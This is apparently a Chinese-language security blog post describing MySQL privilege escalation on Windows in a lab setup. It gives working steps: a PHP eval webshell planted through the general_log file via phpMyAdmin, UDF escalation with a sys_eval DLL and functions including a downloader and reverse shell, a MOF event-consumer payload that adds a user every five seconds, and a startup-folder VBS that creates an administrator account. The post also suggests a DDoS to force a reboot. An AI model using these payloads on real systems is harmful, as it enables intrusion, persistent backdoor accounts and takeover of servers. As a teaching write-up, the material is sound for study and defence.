Hpdoger's Blog.

基于Windows下mysql的一些提权分析

Word count: 2,311 / Reading time: 9 min
2018/09/22 Share

索引

这篇文章是写基于windows环境下的一些mysql提权方法的分析并利用。这些方法老生常谈,但困于很多文章在讲分析和利用的时候模棱两可,因此想总结一下常见的方法思路。基于windows的提权姿势多的数不胜数,一般在配置文件可以嗅探到root密码的情况(root密码已知)下,或者注入、爆破拿到root密码下,可以考虑mysql提权。文章内容很基础,下面对这些方法进行一些粗谈,有什么理解错误的地方还请客观们轻打…大佬们可以略过这篇文章qaq…

实验环境

靶机A: Windows 7 SP1
靶机B: Windows server 2003 enterprise x64
Phpstudy搭建的php+mysql
php版本:5.4.45
mysql版本:5.5.53
攻击环境:已知root账号密码,网站存在phpmyadmin页面

通过phpmyadmin来getshell

简单测试

利用log变量,猜一下绝对路径

看到phpstudy,猜测根目录在WWW下,into outfile写个马测一下能传不

果然是用不成into outfile,因为file_priv为null,那么尝试使用日志写马

利用日志写shell

开启日志记录

1
set global general_log='on';

日志文件导出指定目录

1
set global general_log_file='C:/phpstudy/WWW/hp.php';

记录sql语句写马,这里我就是演示一下,没有安全狗,直接传原马

1
select '<?php @eval($_POST["hp"]); ?>';

关闭记录

1
set global general_log=off;

菜刀连接

url: 192.168.11.106/hp.php

看一下权限,普通成员hpd0egr,创建用户错误5。
接下来开始提权之路!

UDF提权

什么是UDF

UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展,用户通过自定义函数来实现在MySQL中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像本机函数如ABS()或SOUNDEX()一样方便。

提权原理

先学习一下什么叫动态链接库

动态链接库

动态链接库:是把程序代码中会使用的函数编译成机器码,不过是保存在.dll文件中。另外在编译时,不会把函数的机器码复制一份到可执行文件中。编译器只会在.exe的执行文件里,说明所要调用的函数放在哪一个*.dll文件。程序执行使用到这些函数时,操作系统会把dll文件中的函数拿出来给执行文件使用

提权分析

udf是Mysql类提权的方式之一。前提是已知mysql中root的账号密码,我们在拿到webshell后,可以看网站根目录下的config.php里,一般都有mysql的账号密码。利用root权限,创建带有调用cmd函数的’udf.dll’(动态链接库)。当我们把’udf.dll’导出指定文件夹引入Mysql时,其中的调用函数拿出来当作mysql的函数使用。这样我们自定义的函数才被当作本机函数执行。在使用CREAT FUNCITON调用dll中的函数后,mysql账号转化为system权限,从而来提权。

提权复现

工具

这里我用暗月的马,改了一些参数。后面我会把所有工具打包

访问提权马

导出dll到指定目录

利用提权马将写在其中的二进制导出一个dll到指定目录,但导出的dll文件路径有要求

  • Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。

  • Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。

但是大于5.1版本的时候没有plugin这个文件夹,需要我们自己创建。

靶机mysql版本为5.5,那我们只能自己创建一个plugin文件夹了,先用select @@basedir;获取安装目录。

在该目录下创建一个plugin文件夹,网上有大神说可以用ntfs创建目录,感兴趣的话可以研究一下,我这里直接菜刀新建

这个提权马自带的导出要用到Into dumpfile,但是file_priv为Null这个问题限制了我们,就算我们修改了my.ini文件也要重启mysql,那我们直接传一个dll上去吧,文件名为hpudf.dll如图

将udf的自定义函数引入

我们刚才只是把udf的动态链接库导出到指定文件夹,还不能使用里面的自定义函数。要想使用自定义函数,就要把udf.dll中的自定义函数引入。

引入sys_eval函数:

1
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'hpudf.dll'

其中,sys_eval函数是执行任意命令,并将输出返回函数的名字,hpudf.dll是你导出文件的名字;

常见的函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
cmdshell 执行cmd;

downloader 下载者,到网上下载指定文件并保存到指定目录;

open3389 通用开3389终端服务,可指定端口(不改端口无需重启);

backshell 反弹Shell;

ProcessView 枚举系统进程;

KillProcess 终止指定进程;

regread 读注册表;

regwrite 写注册表;

shut 关机,注销,重启;

about 说明与帮助函数;

执行命令

执行命令模板:

1
select sys_eval('ipconfig)

添加用户/管理员

查看一下用户

get it~

MOF提权

MOF提权的条件要求十分严苛:

  1. windows 03及以下版本
  2. mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
  3. secure-file-priv参数不为null

mysql以root身份启动,具有c盘下system32/wbem/mof这点权限的要求,就已经非常严格了。。而且win7 sp1就已经没有这个nullevt.mof这个文件了,那么这里记一下poc,来对windows 03的机子进行验证。

MOF文件

托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。文件路径为:c:/windows/system32/wbme/mof/,其作用是每隔五秒就会去监控进程创建和死亡。

提权原理

MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。

公开的nullevt.mof利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

MOF文件利用

将上面的脚本上传到有读写权限的目录下:

这里我上传到了C:\Documents and Settings\test

根据前面的phpmyadmin,我们使用sql语句将文件导入到c:/windows/system32/wbem/mof/
payload:

1
select load_file("C:/Documents and Settings/testtest.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

值得一提的是,这里不能使用outfile,因为会在末端写入新行,因此mof在被当作二进制文件无法正常执行,所以我们用dumpfile导出一行数据。

验证提权

当我们成功把mof导出时,mof就会直接被执行,且5秒创建一次用户。


可以看到,我们在test的普通用户下直接添加了hpdoger用户。剩下的操作就是用户命令处,换成加入administrator语句即可:

1
net.exe user localgroup administrator hpdoger /add\

关于Mof提权的弊端

我们提权成功后,就算被删号,mof也会在五秒内将原账号重建,那么这给我们退出测试造成了很大的困扰,所以谨慎使用。那么我们如何删掉我们的入侵账号呢?

cmd 下运行下面语句:

1
2
3
net stop winmgmt
del c:/windows/system32/wbem/repository
net start winmgmt

重启服务即可。

启动项提权

在前两种方法都失败时,那可以试一下这个苟延残喘的启动项提权..因为要求达到的条件和mof几乎一样,并且要重启服务,所以不是十分推荐。原理还是使用mysql写文件,写入一段VBS代码到开机自启动中,服务器重启达到创建用户并提权,可以使用DDOS迫使服务器重启。

提权条件

file_priv 不为null
已知root密码

poc

1
2
3
4
5
create table a (cmd text); 
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user hpdoger 123456 /add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators hpdoger /add"",0) " );
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";

总结

还有很多cve这里没有复现到。Mysql提权在如今被各种因素限制,但掌握这一门技术或多或少对我们都还是有所帮助的

CATALOG
  1. 1. 索引
  2. 2. 实验环境
  3. 3. 通过phpmyadmin来getshell
    1. 3.1. 简单测试
    2. 3.2. 利用日志写shell
    3. 3.3. 菜刀连接
  4. 4. UDF提权
    1. 4.1. 什么是UDF
    2. 4.2. 提权原理
      1. 4.2.1. 动态链接库
      2. 4.2.2. 提权分析
    3. 4.3. 提权复现
      1. 4.3.1. 工具
      2. 4.3.2. 访问提权马
      3. 4.3.3. 导出dll到指定目录
      4. 4.3.4. 将udf的自定义函数引入
      5. 4.3.5. 执行命令
  5. 5. MOF提权
    1. 5.1. MOF文件
    2. 5.2. 提权原理
    3. 5.3. 公开的nullevt.mof利用代码
    4. 5.4. MOF文件利用
    5. 5.5. 验证提权
    6. 5.6. 关于Mof提权的弊端
  6. 6. 启动项提权
    1. 6.1. 提权条件
    2. 6.2. poc
  7. 7. 总结